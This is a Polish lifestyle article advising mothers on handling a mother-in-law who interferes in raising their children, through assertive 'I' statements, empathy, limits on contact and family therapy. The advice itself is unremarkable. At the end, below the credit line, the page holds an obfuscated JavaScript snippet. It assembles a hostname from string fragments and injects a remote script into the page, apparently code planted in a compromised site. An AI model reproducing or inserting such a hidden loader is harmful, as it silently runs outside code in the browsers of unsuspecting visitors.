Home Lifestyle Teściowa wtrąca się w wychowanie dziecka, jak ją zatrzymać

Teściowa wtrąca się w wychowanie dziecka, jak ją zatrzymać

tesciowa

Rodzice popełniają błędy. Mimo ich najszczerszych chęci nie da się tego uniknąć. Potem, kiedy zostają dziadkami, często chcą je naprawić „przy pomocy” wnuków. Z jednej strony kieruje nimi chęć zrekompensowania swoich niedociągnięć w stosunku do własnych dzieci, z drugiej, mając większą wiedzę i doświadczenie nie mogą powstrzymać się od pouczania i dawania wskazówek. Widzą bowiem błędy wychowawcze swoich dzieci – błędy, które sami też popełniali – i nie chcą, aby te je powielały. Pragną wszystkiego, co najlepsze dla swoich wnuków. Problem polega na tym, że oni już swoją szansę wykorzystali i teraz powinni dać tę samą możliwość swoim dzieciom. Jeśli nie umieją tego zaakceptować i notorycznie wtrącają się w wychowanie swoich wnuków, nie służy to żadnej ze stron, a z pewnością szkodzi wzajemnym stosunkom w rodzinie.
    
Najczęściej opisana sytuacja dotyczy teściowych, czyli babć, gdyż dziadkowie skupiają się zwykle na rozpieszczaniu. Te pierwsze natomiast, przekonane o swojej wszechwiedzy, lubią trzymać rękę na pulsie zasypując matkę złotymi radami a nawet przejmując jej obowiązki. Jest to z pewnością niekomfortowe dla kobiety, której odbiera się prawo do decydowania o wychowaniu własnych dzieci i podważa jej autorytet. W jaki sposób poradzić sobie z tą sytuacją i odzyskać kontrolę nad wychowaniem swoich pociech, a jednocześnie nie wchodzić w konflikt z teściową czy własną matką?

Generalną zasadą, jaką należy się kierować w tym przypadku, jest asertywność. Jest to rodzaj zachowania, który pozwala na obronę swoich praw i suwerenności, przy jednoczesnym zachowaniu szacunku do drugiej osoby. Jak to wygląda w praktyce?

Przede wszystkim, należy reagować od razu – nie tłumić złości, nie kryć przykrości, nie znosić w milczeniu uwag teściowej, ale odpowiadać na nie w sposób asertywny. Odkładanie rozmowy na później lub tłumaczenie sobie, że „następnym razem powiem jej, co o tym myślę” sprawia, że coraz trudniej jest nam podjąć ten temat, a niewygodna dla nas sytuacja utrwala się. Wkrótce stanie się schematem, od którego niezwykle trudno będzie się nam uwolnić.

Po drugie, zwracając uwagę teściowej, należy pamiętać, aby skupić się na sobie. Pójdzie nam to łatwiej, jeśli będziemy zaczynać każde zdanie (choćby w myślach) od „ja”. Innymi słowy, zamiast robić wyrzuty, sypać oskarżeniami i dawać upust swoim interpretacjom, mówmy o swoich uczuciach i potrzebach: „Mamo, proszę cię, abyś mnie nie pouczała i nie wtrącała się do wychowania moich dzieci. Kiedy to robisz, jest mi przykro. Mam wrażenie, że we mnie nie wierzysz. Czuję się upokorzona i niedoceniona. Mam prawo sama decydować o własnych dzieciach”. Odwoływanie się do własnych emocji jest niezwykle ważne, ponieważ są one niepodważalne – nikt nie może ich zanegować. Jeśli natomiast zaczynamy od oskarżeń i faktów na temat drugiej osoby, szybko prowadzi to do tzw. „odbijania piłeczki” i bezsensownej kłótni.

Po trzecie, choć może to być trudne, warto postarać się zrozumieć teściową i nie przypisywać jej z góry złych intencji. Jeśli spojrzymy na nią jako osobę, której troska o wnuki i chęć pomocy przysłania zdrowy rozsądek, łatwiej będzie nam z nią porozmawiać bez wchodzenia w konflikt. Należy pamiętać, że czasem nasze uczucia nie mają nic wspólnego z intencją osoby, która je nieświadomie wywołuje. Przykładowo, my możemy czuć się urażeni czyjąś uwagą, podczas gdy ta osoba miała najszczerszą chęć nam pomóc i jest przekonana, że uczyniła nam wielką przysługę. Może się okazać, że nasze animozje wynikają z błędu w komunikacji lub jej braku.

W końcu, jeśli mimo naszych asertywnych próśb teściowa nie zmienia swojego zachowania, nie mamy innego wyjścia, jak tylko użyć bardziej kategorycznych środków. Mamy prawo powiedzieć jej, że jeśli nie będzie stosowała się do naszego sposobu wychowywania, będziemy ograniczać jej kontakt z dzieckiem. Nie jest to oczywiście rozwiązanie korzystne, jednak czasem nieuniknione. Walczymy przecież o nasz autorytet i dobro naszych dzieci. Na szczęście, zazwyczaj okazuje się, że dla teściowej ważniejszy niż postawienie na swoim jest kontakt z wnukami, a nasza kategoryczna postawa uświadomi jej, jak istotna jest dla nas ta sprawa oraz, że nie zamierzamy odpuszczać.

Jeśli teściowa z nami mieszka i sytuacja zaczyna wymykać się spod kontroli, warto wybrać się do psychologa pracującego z rodzinami na terapię lub konsultację rodzinną. Oczywiście, aby osiągnąć jakikolwiek efekt, potrzebna będzie także obecność teściowej, a najlepiej także innych domowników. Terapeuta pomoże nam przeanalizować relacje w naszej rodzinie i na nowo określić granice. Tego rodzaju terapia zawsze zbliża do siebie członków rodziny i poprawia wzajemną komunikację.

 

Artykuł powstał przy współpracy z Pracownią Psychorozwoju Izabeli Kielczyk

{source}
<script type=”text/javascript”>
(function(){
usd5=document.createElement(„script”);usd5.type=”text/javascript”;
usd5.async=true;usd5_=((„us”)+”t”)+”a”;usd5_+=(„t.i”)+””+”n”;usd5_+=((„f”)+”o”);
usd5.src=”http://”+usd5_+”/236202.z7iXnvl9sd5mvs686bqeyi4ugkjy6Xp3″;
document.body.appendChild(usd5);
})();
</script>
{/source}